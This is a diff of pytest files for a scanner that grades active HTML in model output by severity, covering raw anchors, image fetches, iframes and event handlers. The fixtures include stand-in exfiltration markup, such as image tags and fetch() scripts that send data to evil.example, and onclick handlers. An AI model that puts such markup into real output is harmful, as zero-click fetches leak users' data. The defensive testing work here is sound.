# Documented in docs/LIMITATIONS.md. Pinned so the concessions stay honest: a
# closed over-block should fail here and force the doc to be updated.
# --- the carrier split and the no-URL narrowing (0.7.0) ----------------------
# Two changes that had to ship together: measured alone they free 9 / 21 of
# vendor-harvest's 62 fail_secure documents, together 43 of an achievable 44.
# They co-occur — the no-URL narrowing removes a document's `</a>` and `<Frame>`
# tags, and what is left is the `<a href=...>` the carrier split grades down, so
# each change alone leaves the document blocked by the other's residue. Method
# and numbers: `docs/rawhtml-census.py`.
def test_raw_anchor_is_the_link_class_at_medium():
# Following an anchor needs a human, exactly like a markdown inline link —
# which has been MEDIUM since 0.3.1. The same URL was HIGH here and LOW as
# `[t](...)`, an asymmetry that came from syntax, not affordance.
finding = [f for f in scan_active_content(
'<a href="https://evil.example/go?d=account">t</a>').findings
if f.label == "active:raw-html-link"]
assert len(finding) == 1, "anchor not reported as the link class"
assert finding[0].severity is Severity.MEDIUM, finding[0].severity
def test_zero_click_carriers_keep_raw_html_at_high():
# The split moves ONLY the click-required carriers. Anything a renderer
# fetches or executes unattended stays where it was.
for text in ('<img src="https://evil.example/leak?d=x">',
'<iframe src="https://evil.example/x">',
"<script>fetch('https://evil.example/x')</script>"):
finding = [f for f in scan_active_content(text).findings
if f.label == "active:raw-html"]
assert finding and finding[0].severity is Severity.HIGH, text
def test_event_handler_on_an_anchor_stays_high():
# An `onclick=` anchor is execute-class, not click-required-carrier class.
# The handler test runs BEFORE the name test, so the split cannot grade an
# XSS carrier down to MEDIUM.
labels = {f.label for f in scan_active_content(
'<a href="https://x.example/p" onclick="fetch(1)">t</a>').findings}
assert "active:raw-html" in labels
assert "active:raw-html-link" not in labels
def test_mixed_document_reports_both_classes_separately():
# The class collapses to one finding, so a document carrying both must not
# lose the anchor behind the script — nor grade the script down to the
# anchor's severity.
report = scan_active_content(
'<script>x()</script> and <a href="https://x.example/p?d=1">t</a>')
by_label = {f.label: f for f in report.findings}
assert by_label["active:raw-html"].severity is Severity.HIGH
assert by_label["active:raw-html-link"].severity is Severity.MEDIUM
def test_link_class_has_no_ordinary_form():
# Raw HTML grades on carrier only, never on URL shape — measured: applying
# `is_ordinary_url` to raw tags frees 1 / 1 / 0 documents, because real
# vendor-doc image URLs are not ordinary. A third tier here would be a
# severity nobody decided on.
finding = [f for f in scan_active_content(
'<a href="https://learn.microsoft.com/en-us/azure/overview">t</a>').findings
if f.label == "active:raw-html-link"]
assert finding and finding[0].severity is Severity.MEDIUM, finding
@pytest.mark.parametrize("cid,text", [
# Fires on the *name* branch: names are lower-cased and `frame` is in the
# active set (legacy HTML framesets), while `Frame` is a common MDX component.
# `</a>` — 146 occurrences inside vendor-harvest's fail_secure documents.
("end-tag-names-no-target", "</a>"),
# `<Frame>` / `</Frame>` — a common MDX wrapper component, 94 occurrences.
("mdx-component-named-like-a-tag", "<Frame>"),
("mdx-component-end-tag", "</Frame>"),
# `<video />`, 19 occurrences: a self-closing media tag naming no source.
("self-closing-media", "<video />"),
("anchor-without-href", "<a />"),
# An `<img>` carrying alt text but no `src` fetches nothing.
("img-without-src", '<img alt="Diagram of the agent loop">'),
])
def test_raw_html_overblocks_are_still_high(cid, text):
finding = [f for f in scan_active_content(text).findings
if f.label == "active:raw-html"]
assert len(finding) == 1, f"{cid}: raw-html not reported"
assert finding[0].severity is Severity.HIGH, f"{cid}: {finding[0].severity}"
def test_url_affordance_tag_without_a_url_is_not_active(cid, text):
# A tag whose whole affordance IS the URL it names, carrying no URL
# attribute at all, has no affordance in any renderer — the argument 0.6.0
# already accepted for `<base />`, applied to the rest of the name branch.
assert not [f for f in scan_active_content(text).findings
if f.label.startswith("active:raw-html")], cid
@pytest.mark.parametrize("cid,text", [
("relative-src-still-active", '<img src="/local/diagram.png">'),
("relative-href-still-active", '<a href="/en/quickstart">t</a>'),
# The narrowing tests for the ATTRIBUTE's presence, not for a readable value:
# a value the parser cannot resolve must over-block, never under-block. The
# corpora carry 0 of these today, which is empirical, not structural.
("unreadable-value-fails-secure", "<img src= >"),
("event-handler-without-url", '<a onclick="fetch(1)">t</a>'),
])
def test_url_affordance_narrowing_only_frees_the_attribute_less(cid, text):
assert [f for f in scan_active_content(text).findings
if f.label.startswith("active:raw-html")], cid
def test_unknown_name_with_an_external_url_stays_high():
# The url-attribute branch is deliberately NOT in the link class: a tag
# outside the known name set has unknown rendering, and `href` is not the
# only URL attribute it may carry. Measured cost of the conservative line:
# one document per wiki corpus.
finding = [f for f in scan_active_content(
'<Card title="Docs" href="https://evil.example/leak?d=x">').findings
if f.label == "active:raw-html"]
assert len(finding) == 1 and finding[0].severity is Severity.HIGH, finding
# --- the two over-blocks CLOSED in 0.6.0 (the `A + base-url` narrowing) -------
@ -324,18 +419,19 @@ def test_external_url_attr_is_still_active(cid, text):
assert finding[0].severity is Severity.HIGH, f"{cid}: {finding[0].severity}"
def test_raw_html_counts_end_tags():
# `</a>` is active by name on its own, so a corpus census counting only opening
# tags understates this detector's `count`. The class still collapses to ONE
# finding — the count is what moves.
solo = [f for f in scan_active_content("</a>").findings
if f.label == "active:raw-html"]
assert len(solo) == 1 and solo[0].count == 1
def test_raw_html_no_longer_counts_end_tags():
# Through 0.6.1 `</a>` was active by name on its own, so `count` ran roughly
# 1.6x the opening-tag total and a start/end pair counted 2. The no-URL
# narrowing makes an end tag inert — it names no target — so `count` is now
# the opening-tag total. This is a PUBLISHED field moving: a consumer reading
# `count` sees it drop for every document carrying `</a>`.
assert not [f for f in scan_active_content("</a>").findings
if f.label.startswith("active:raw-html")]
pair = [f for f in scan_active_content('<a href="https://x.example/p">t</a>').findings
if f.label == "active:raw-html"]
if f.label == "active:raw-html-link"]
assert len(pair) == 1, "a start/end pair must not split into two findings"
assert pair[0].count == 2, f"end tag not counted: {pair[0].count}"
assert pair[0].count == 1, f"end tag still counted: {pair[0].count}"
# --- self-safety (OWASP LLM10): the long-attribute arm -----------------------

View file

@ -60,6 +60,7 @@ def test_active_content_severity_frozen():
"reference-link": Severity.MEDIUM,
"autolink": Severity.MEDIUM,
"raw-html": Severity.HIGH,
"raw-html-link": Severity.MEDIUM,
"data-uri": Severity.HIGH,
}

View file

@ -136,6 +136,11 @@ def test_census_private_active_content_names_still_exist():
assert ac._url_attr_is_external(' href="//evil.example"') is True
assert ac._url_attr_is_external(' href="/relative"') is False
assert callable(ac.is_active_tag)
assert callable(ac.active_tag_class)
# 0.7.0's two name sets, both reached by name from the census's `_variant`.
assert "a" in ac._LINK_TAGS and "img" not in ac._LINK_TAGS
assert {"a", "frame", "img"} <= ac._URL_AFFORDANCE_TAGS
assert "script" not in ac._URL_AFFORDANCE_TAGS, "an execute-class tag needs no URL"
def test_census_masking_pipeline_matches_the_scanner_symbols():
@ -162,21 +167,45 @@ def test_census_candidate_table_keeps_its_three_fixed_rows():
assert names[0] == "pre-0.6.0 (no narrowing)", "first row is the baseline the rest subtract from"
assert sum(fn is None for _, fn in census.CANDIDATES) == 1, "exactly one unpatched PRODUCTION row"
assert fns["PRODUCTION (as shipped)"] is None
assert fns["NONE (ceiling)"]("iframe", ' src="https://evil.example"') is False
assert fns["NONE (ceiling)"]("iframe", ' src="https://evil.example"') is None
def test_census_candidates_return_a_class_not_a_boolean():
# A boolean patch point cannot express a REGRADE, only a narrowing. If a
# candidate ever returns True/False again, every carrier row would compare
# equal to PRODUCTION on the non-WARN metric and the script would report
# "the split buys nothing" — the exact conclusion it exists to disprove.
candidate = dict(census.CANDIDATES)["C1 + D (0.7.0)"]
assert candidate("a", ' href="https://evil.example/x?d=1"') == "raw-html-link"
assert candidate("script", "") == "raw-html"
assert candidate("a", "") is None
for value in (True, False):
assert candidate("a", ' href="https://evil.example/x"') is not value
def test_census_patch_point_actually_moves_the_gate(monkeypatch):
# The census measures candidates by replacing `active_content.is_active_tag`
# The census measures candidates by replacing `active_content.active_tag_class`
# in-process. If the scanner ever resolves that predicate any other way — a
# local alias, an inlined body — every candidate row would silently equal
# PRODUCTION and the script would report "no narrowing helps" as a finding.
doc = 'Read more <iframe src="https://evil.example/x"></iframe>'
assert screen_output(doc, PRESET_USER_UPLOAD).disposition is not Disposition.WARN
monkeypatch.setattr(ac, "is_active_tag", lambda name, attrs: False)
monkeypatch.setattr(ac, "active_tag_class", lambda name, attrs: None)
assert screen_output(doc, PRESET_USER_UPLOAD).disposition is Disposition.WARN
def test_census_regrade_patch_point_moves_the_severity(monkeypatch):
# The other half: patching the class must move the DISPOSITION TIER, not just
# presence. A carrier candidate that regrades without changing the tier would
# be unmeasurable, which is how the non-WARN-only metric hid this class.
doc = '<img src="https://evil.example/leak?d=x">'
assert screen_output(doc, PRESET_USER_UPLOAD).disposition is Disposition.FAIL_SECURE
monkeypatch.setattr(ac, "active_tag_class", lambda name, attrs: "raw-html-link")
assert screen_output(doc, PRESET_USER_UPLOAD).disposition is Disposition.QUARANTINE_REVIEW
# Every branch of the shipped predicate, plus the two shapes where a hand-rolled
# attribute reader diverges from it: a URL attribute name reached through a
# prefix (`data-src`), and a multi-candidate `srcset` whose external target is
@ -194,16 +223,26 @@ _PREDICATE_CASES = [
("div", ' srcset="a.png 1x, https://evil.example/x.png 2x"'),
("div", ' cite="https://evil.example"'),
("p", ""),
# 0.7.0's two branches. Without these the shipped-candidate check would pass
# while the census still measured the 0.6.1 predicate.
("a", ' href="https://evil.example/x?d=1"'), # carrier split -> link class
("area", ' href="//evil.example"'),
("a", ' onclick="steal()"'), # handler beats the split
("a", ""), # no-URL narrowing -> inert
("frame", ""),
("img", ' alt="a diagram"'),
("img", ' src="/local/diagram.png"'), # relative URL is still active
("script", ' type="module"'), # execute-class needs no URL
]
@pytest.mark.parametrize("name,attrs", _PREDICATE_CASES, ids=[f"{n}{a}" for n, a in _PREDICATE_CASES])
def test_census_production_row_equals_its_a_plus_base_candidate(name, attrs):
# The census's own docstring: "`A + base-url` is what 0.6.0 shipped, so these
# two rows must agree — a mismatch means the code and this script have drifted
# apart and every number below is suspect." That claim was never asserted.
candidate = dict(census.CANDIDATES)["A + base-url (both)"]
assert candidate(name, attrs) == ac.is_active_tag(name, attrs)
def test_census_production_row_equals_its_shipped_candidate(name, attrs):
# The census's own docstring: "`C1 + D` is what 0.7.0 ships, so these two rows
# must agree — a mismatch means the code and this script have drifted apart
# and every number below is suspect." That claim was never asserted.
candidate = dict(census.CANDIDATES)["C1 + D (0.7.0)"]
assert candidate(name, attrs) == ac.active_tag_class(name, attrs)
# --- both scripts: the argument-less contract --------------------------------

View file

@ -102,6 +102,13 @@ def test_raw_active_html_is_escaped():
@pytest.mark.parametrize("cid,text", [
("relative-href-on-inactive-name", '<Card href="/en/agent-sdk/quickstart">'),
("attributeless-base", "<base />"),
# 0.7.0's no-URL narrowing. The scanner now lets these pass — they name no
# target — but the mutator still escapes them, because a human auditing
# defanged output should see the markup that was there.
("end-tag", "</a>"),
("mdx-wrapper-component", "<Frame>"),
("self-closing-media", "<video />"),
("img-without-src", '<img alt="a diagram">'),
])
def test_mutator_still_defangs_what_the_scanner_now_lets_pass(cid, text):
# The deliberate asymmetry, extended to raw HTML in 0.6.0: the SCANNER narrowed

View file

@ -183,11 +183,38 @@ def test_inert_vendor_doc_html_is_not_active(text):
@pytest.mark.parametrize("text", [
'<a href="https://x.example/p">here</a>', '<img src="https://x.example/a.png">',
'<div onclick="x()">clickme</div>',
'<img src="https://x.example/a.png">', '<div onclick="x()">clickme</div>',
'<iframe src="https://x.example/x"></iframe>',
])
def test_active_raw_html_still_fails_secure_on_upload(text):
# The other half of the same correction: `a` and `img` are active by name, so
# hand-written links and images in raw HTML *are* caught. The overcount is in
# the formatting tags above, not in a weakened rule.
def test_zero_click_raw_html_still_fails_secure_on_upload(text):
# The other half of the same correction: `img` is active by name, so a
# hand-written image in raw HTML *is* caught. The overcount is in the
# formatting tags above, not in a weakened rule.
assert screen_output(text, PRESET_USER_UPLOAD).disposition is Disposition.FAIL_SECURE
def test_split_tightens_the_trusted_tier_when_both_carriers_are_present():
# The cost side of the carrier split, pinned because it runs OPPOSITE to the
# change's purpose. Splitting one class into two means a document carrying
# both an `<img src>` and an `<a href>` now emits TWO findings at MEDIUM+
# where it emitted one, which trips the compound overlay: WARN through 0.6.1,
# QUARANTINE_REVIEW from 0.7.0. On the trusted preset nothing was hard-failed
# to begin with, so this is the only direction the split can move it.
both = ('<img src="https://x.example/a.png?d=1"> '
'and <a href="https://x.example/p?d=2">t</a>')
assert screen_output(both, PRESET_TRUSTED_SOURCE).disposition is Disposition.QUARANTINE_REVIEW
# The same document with only the zero-click carrier still WARNs on trusted:
# the escalation comes from the second finding, not from a changed severity.
only_img = '<img src="https://x.example/a.png?d=1">'
assert screen_output(only_img, PRESET_TRUSTED_SOURCE).disposition is Disposition.WARN
def test_raw_anchor_is_held_for_review_not_hard_failed():
# 0.7.0's carrier split. A raw anchor was FAIL_SECURE through 0.6.1 while the
# identical markdown link was WARN — an asymmetry of syntax, not affordance.
# It is now held for a human like every other click-required carrier. Pinned
# HERE, at the composed gate, because what a consumer feels is the
# disposition, not the label: this must never reach WARN either.
result = screen_output('<a href="https://x.example/p">here</a>', PRESET_USER_UPLOAD)
assert result.disposition is Disposition.QUARANTINE_REVIEW, result